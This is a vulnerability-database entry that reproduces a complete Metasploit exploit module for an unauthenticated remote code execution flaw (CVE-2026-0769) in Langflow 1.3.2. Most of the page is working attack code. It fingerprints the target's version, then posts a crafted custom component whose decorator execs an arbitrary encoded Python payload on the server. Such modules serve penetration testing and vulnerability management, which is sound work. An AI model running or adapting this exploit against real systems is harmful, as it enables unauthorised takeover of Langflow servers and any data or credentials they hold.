Langflow AI Custom Component Eval Injection Unauthenticated Remote Code Execution
🗓️ 08 Oct 2026 00:00:00Reported by Peter Girnus, Richard HoweType
packetstorm🔗 packetstorm.news👁 2 Views
| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
| Exploit for Eval Injection in Langflow | 2 Sep 202623:34 | – | githubexploit | |
| Exploit for CVE-2026-0770 | 7 Feb 202623:31 | – | githubexploit | |
| CVE-2026-0769 | 23 Jan 202603:28 | – | attackerkb | |
| CVE-2026-0769 | 9 Jan 202605:00 | – | circl | |
| Langflow security vulnerabilities | 23 Jan 202600:00 | – | cnnvd | |
| CVE-2026-0769 | 23 Jan 202603:28 | – | cve | |
| CVE-2026-0769 Langflow eval_custom_component_code Eval Injection Remote Code Execution Vulnerability | 23 Jan 202603:28 | – | cvelist | |
| EUVD-2026-4475 | 23 Jan 202603:28 | – | euvd | |
| CVE-2026-0770-PoC | 8 Oct 202617:25 | – | kitploit | |
| POC-CVE-2026-0769 | 8 Oct 202619:35 | – | kitploit |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Langflow AI Custom Component Eval Injection Unauth RCE',
'Description' => %q{
Langflow version 1.3.2 is susceptible to
unauthenticated remote code execution due to improper
input validation in the eval_custom_component_code() function.
Arbitrary code executes under the context of the backend
Langflow process.
},
'Author' => [
'Richard Howe <rhowe425>', # Msf Module
'Peter Girnus' # Vulnerability Discovery
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-0769']
],
'Targets' => [
[
'Python payload',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'RPORT' => 7860 },
'Payload' => {
'BadChars' => '"'
},
'DisclosureDate' => '2026-01-22',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new(
'TARGETURI',
[true, 'Base path of the Langflow application', '/']
)
]
)
end
def check
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/v1/version')
}
)
return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200
doc = res.get_json_document
version_str = doc.is_a?(Hash) ? doc['version'] : nil
return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str
package = doc.is_a?(Hash) ? doc['package'] : nil
return Exploit::CheckCode::Unknown('Failed to identify application.') unless package
return Exploit::CheckCode::Safe('Application is not Langflow.') unless package.to_s.downcase == 'langflow'
version = Rex::Version.new(version_str.to_s)
return Exploit::CheckCode::Unknown('Failed to parse version.') unless version
# Vulnerable version of Langflow
return Exploit::CheckCode::Appears("Version #{version} detected, which appears vulnerable.") if version == Rex::Version.new('1.3.2')
# Patched version of Langflow
Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.")
end
def exploit
vars = Rex::RandomIdentifier::Generator.new(language: :python)
class_name = vars[:class_name]
payload_method = vars[:payload_method]
input_display_name = vars[:input_display_name]
output_display_name = vars[:output_display_name]
class_display_name = vars[:class_display_name]
injected_code = [
'from langflow.custom import Component',
'from langflow.io import Output, MessageTextInput',
'from langflow.schema import Data',
'_fired = [False]',
"class #{class_name}(Component):",
" display_name = '#{class_display_name}'",
" name = '#{class_name}'",
' inputs = [',
' MessageTextInput(',
" display_name='#{input_display_name}',",
' name="input_value",',
' )',
' ]',
' outputs = [',
' Output(',
" display_name='#{output_display_name}',",
' name="out",',
" method='#{payload_method}',",
' )',
' ]',
" @(lambda f: (_fired[0] or (_fired.__setitem__(0, True), exec(compile(\"#{payload.encode}\", '<string>', 'exec'))), f)[-1])",
" def #{payload_method}(self) -> Data:",
' return Data(data={"output": _out})'
].join("\n")
json_body = {
'code' => injected_code,
'frontend_node' => {}
}
res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v1/custom_component'),
'headers' => {
'Content-Type' => 'application/json'
},
'data' => json_body.to_json
}
)
fail_with(Failure::Unknown, 'Unexpected server reply.') unless res&.code == 200
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Oct 2026 00:00Current
8.5High risk
Vulners AI Score8.5
CVSS 39.8
EPSS0.41695
SSVC